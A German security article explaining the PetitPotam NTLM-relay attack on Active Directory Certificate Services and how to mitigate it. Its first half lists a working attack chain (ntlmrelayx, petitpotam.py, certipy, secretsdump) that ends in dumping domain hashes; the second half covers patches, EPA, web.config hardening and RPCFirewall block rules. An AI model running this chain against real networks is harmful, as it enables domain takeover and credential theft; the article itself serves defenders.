Petit Potam aus dem Französischen übersetzt, bedeutet kleines Flusspferd.
Um den Petit Potam Angriff zu erklären, gehen wir vorab kurz auf das Wesentliche ein.
Mithilfe der Schwachstelle „Petit Potam“, veröffentlicht von @topotam77 im Juli 2021 (CVE-2021-36942), ist eine erfolgreiche Übernahme einer Windows-Domäne möglich. Dabei zielt die Schwachstelle auf das Active Directory, genauer gesagt auf die Microsoft Active Directory Certificate Services (ADCS), einschließlich Domänen-Controller mithilfe eines NTLM-Relay ab.
Die meisten Unternehmen verwenden die im obigen Abschnitt angesprochenen Active Directory Certificate Services, kurz ADCS von Microsoft. Dies ist ein Public-Key Infrastructure (PKI)-Server, der für die Erstellung von Zertifikaten in einer Domäne verantwortlich ist. Durch unterschiedlichste Methoden ist es möglich, unter Verwendung von ausgestellten Zertifikaten sich innerhalb einer Domäne zu authentifizieren und diese gar zu übernehmen.
Dabei wird der Domänen Controller mithilfe der „RpcRemoteFindFirstPrinterChangeNotification“ der MS-RPRN-Druck-API dazu gebracht, sich bei bösartigen Clients zu authentifizieren. Die abgefangene Authentifizierung wird anschließend mittels NTLM-Relay-Angriff über HTTP an die Active Directory Zertifikatsdienste weitergeleitet. Nach der Authentifizierung sendet der Zertifikatsdienst ein gültiges Zertifikat des Domänen-Controllers an den Angreifer zurück.
nmap -sS <DC-IP>
Sobald der Domain-Controller sowie der CA-Server (Certificate-Authority) identifiziert wurde, kann ein Relay-Angriff mithilfe des Tools NTLMRelayx von IMPACKET in Kombination mit dem von Gilles Lionel zur Verfügung gestellten PoC (PetitPotam.py) ausgeführt werden.
ntlmrelayx.py -t http://<FQDN-ADCS>/certsrv -smb2support --adcs --template DomainController
petitpotam.py <Lokale-IP> <DC-IP>
Es ist wichtig, dass zuerst der Relay-Angriff (siehe rechte Seite, Abbildung) gestartet wird und anschließend der PetitPotam (EfsRpcOpenFileRaw) ausgeführt wird.
Dabei ist zu beachten, dass beim PetitPotam (siehe linke Seite, Abbildung) zuerst die eigene IP und anschließend die IP des Domain-Controllers anzugeben ist.
War der Relay erfolgreich, übersendet der Certificate Authority Server das vermeintlich angeforderte Zertifikat vom Domain-Controller. Das Zertifikat kann anschließend mithilfe eines beliebigen Texteditors gespeichert werden. Das gespeicherte Zertifikat muss von Base64 decodiert werden und als pfx Datei gespeichert werden. Wenn das DomainController Zertifikat nicht funktioniert, kann das DomainControllerAuthentication genutzt werden. Die Namen der Zertifikatsvorlagen funktionieren auch in einem deutschen AD.
cat <Base64Zertifikat> | base64 -d > <Zertifikat>.pfx
Im Anschluss kann das Ticket Granting Ticket (TGT) mithilfe des Tools „certipy“ angefordert werden. Das „auth“ steht dabei für „authenticate”. Zur Authentifizierung wird das zuvor gespeicherte Zertifikat (pfx) verwendet.
certipy auth -pfx <Zertifikat>.pfx
War die Authentifizierung erfolgreich, erhält man den NT-Hash und den Ticket Granting Ticket in einer ccache Datei, mit dem man beispielsweise einen SecretDump durchführen kann, um an weitere Benutzerdaten zu gelangen.
KRB5CCNAME=/path/to/ccache impacket-secretsdump -just-dc-ntlm <domäne>/<DC-Hostname>$@<DC-FQDN> -k -no-pass
Als erste und einfachste Möglichkeit ist natürlich der Patch von Microsoft da. Der erste Patch hat die Lücke nicht vollumfänglich geschlossen. Aber Microsoft hat im Mai 2022 nachgebessert und zum “Patch-Tuesday” kam ein nächster Versuch, der bis jetzt gut aussieht, leider aber in manchen Umgebungen für Probleme sorgen kann. Microsoft behandelt das Thema in diesem Beitrag und in diesem KB Artikel.
Nach dem Patch sieht der Angriff dann so aus, dass keine der Anfragen durchgeht.
Als eine der ersten weiteren Maßnahmen sollte man sich fragen, ob die Webregistrierung überhaupt benötigt wird oder ob man das eleganter mit Hilfe von Powershell oder der Management-Console realisieren kann. Die Zertifizierungsstellen-Webregistrierung ist fast 20 Jahre alt und wurde das letzte Mal mit dem Release von Windows Server 2003 angepasst.
Als zusätzliche Maßnahme wird die Härtung des ADCS und der Zertifikatsvorlagen empfohlen. Nicht benötigte Zertifikate sollten nicht mehr veröffentlicht sein und die anderen Zertifikate sollten eine Zertifizierungs-Manager-Genehmigung erfordern. Dies erhöht den administrativen Aufwand, da die Zertifikate nicht mehr automatisch verteilt werden.
Sollte der Webservice (Certificate Authority Web Enrollment, Certificate Enrollment Web Service) genutzt werden, sollten die Schritte aus diesem KB Artikel ausgeführt werden. Hier einmal zusammengefasst, was zu tun ist.
HTTP deaktivieren und HTTPS benutzen, da man praktischerweise eine CA hat, kann man damit die passenden Webserver-Zertifikate erstellen und im IIS einbinden.
Anschließend die Extendet Protection for Authentication (EPA) auf “Require” setzen.
Dies muss für den “Zertifizierungsstellen-Webregistrierung” und den “Zertifikatregistrierungs-Webdienst” durchgeführt werden.
Für den “Zertifikatregistrierungs-Webdienst” (CES) muss zusätzlich die web.config editiert werden.
<%windir%>\systemdata\CES\<CA Name>_CES_Kerberos\web.config
<binding name="TransportWithHeaderClientAuth">
<security mode="Transport">
<transport clientCredentialType="Windows">
<extendedProtectionPolicy policyEnforcement="Always" />
</transport>
<message clientCredentialType="None" establishSecurityContext="false" negotiateServiceCredential="false" />
</security>
<readerQuotas maxStringContentLength="131072" />
</binding>
Zeile 4 muss hinzugefügt oder zu “Always” geändert werden.
Zum Schluss muss der Webserver neu gestartet werden.
iisreset /restart
Weitere Maßnahmen wie das Deaktivieren von NTLM basierter Anmeldung, RPC Netfilter oder die RPCFirewall erhöhen natürlich die Sicherheit zusätzlich.
Angriffe auf die CA und den Webserver sollten über fehlerhafte Anmeldungen und gescheiterte Zertifikatsanforderungen sichtbar sein. Da das Logging von RPC Anfragen im Windows nicht immer vollumfänglich funktioniert, können einige Anfragen ungesehen bleiben. Hier würde die RPCFirewall Abhilfe schaffen, da sie ein eigenes Log schreibt.
Event Viewer -> Applications and Services Logs -> RPCFW
Event Viewer -> Security-> RPCFW [ID 5712]
Nach Durchführung der oben genannten Einstellungen und Einspielung der Patches kann es sein, dass Sie leider feststellen müssen, dass es Angreifer in Ihrem Netz gibt. In diesem Fall raten wir Ihnen dazu, so viel wie möglich zu dokumentieren und ggf. fachliche Hilfe hinzuzuziehen.
Wie vorher bereits erwähnt ist der Mai Patch gut und schützt, leider nur vor der „unauthenticated“ variante. Das bedeutet, sobald der Angreifer einen Benutzer, egal welcher Art (Benutzer/Computer/Administrator), erlangt funktioniert der Angriff wieder. Das wird Microsoft vermutlich auch nicht Patchen, da es ja eine gewollte Aktion sein kann.
Hier kann dann die RPCFirewall von Zero Networks helfen, welche den RPC Call komplett blockieren kann und in einem eigenen Eventlog dokumentiert.
Die Installationsdateien können aus dem Githubrepository heruntergeladen und in den gewünschten Programmordner entpackt werden.
Die Installation selbst wird über das CMD erledigt.
Im RPCFirewall Programmordner, den man sich selbst erstellt hat, muss dann folgender Befehl ausgeführt werden:
RpcFwManager.exe /install
In dem Ordner befindet sich auch die Konfiguration für die RPCFirewall und RPCFilter, welche durch die Beispielkonfiguration aus dem Github erweitert werden kann. Hier müssen aber z.B. die DCs eingetragen werden für den dcsync.
fw:uuid:e3514235-4b06-11d1-ab04-00c04fc2dcd2 addr:<dc_addr1> action:allow audit:true
fw:uuid:e3514235-4b06-11d1-ab04-00c04fc2dcd2 addr:<dc_addr2> action:allow audit:true
Für PetitPotam sind folgende uuids zuständig:
flt:action:block audit:true uuid:df1941c5-fe89-4e79-bf10-463657acf44d
flt:action:block audit:true uuid:c681d488-d850-11d0-8c52-00c04fd90f7e
Nach den Anpassungen muss die RPCFirewall neugestartet werden.
RpcFwManager.exe /stop
RpcFwManager.exe /start
Die RPCFirewall ist mit Version 2 auch über Neustarts hinweg persistent.
Sobald die Konfiguration aktiv ist, funktioniert der PetitPotam auch authenticated nicht mehr.
Natürlich gibt es noch andere Varianten, um diesen Angriff zu verhindern. Die hier aufgezeigte Möglichkeit ist verhältnismäßig einfach umzusetzen und als Open Source Projekt frei verfügbar.
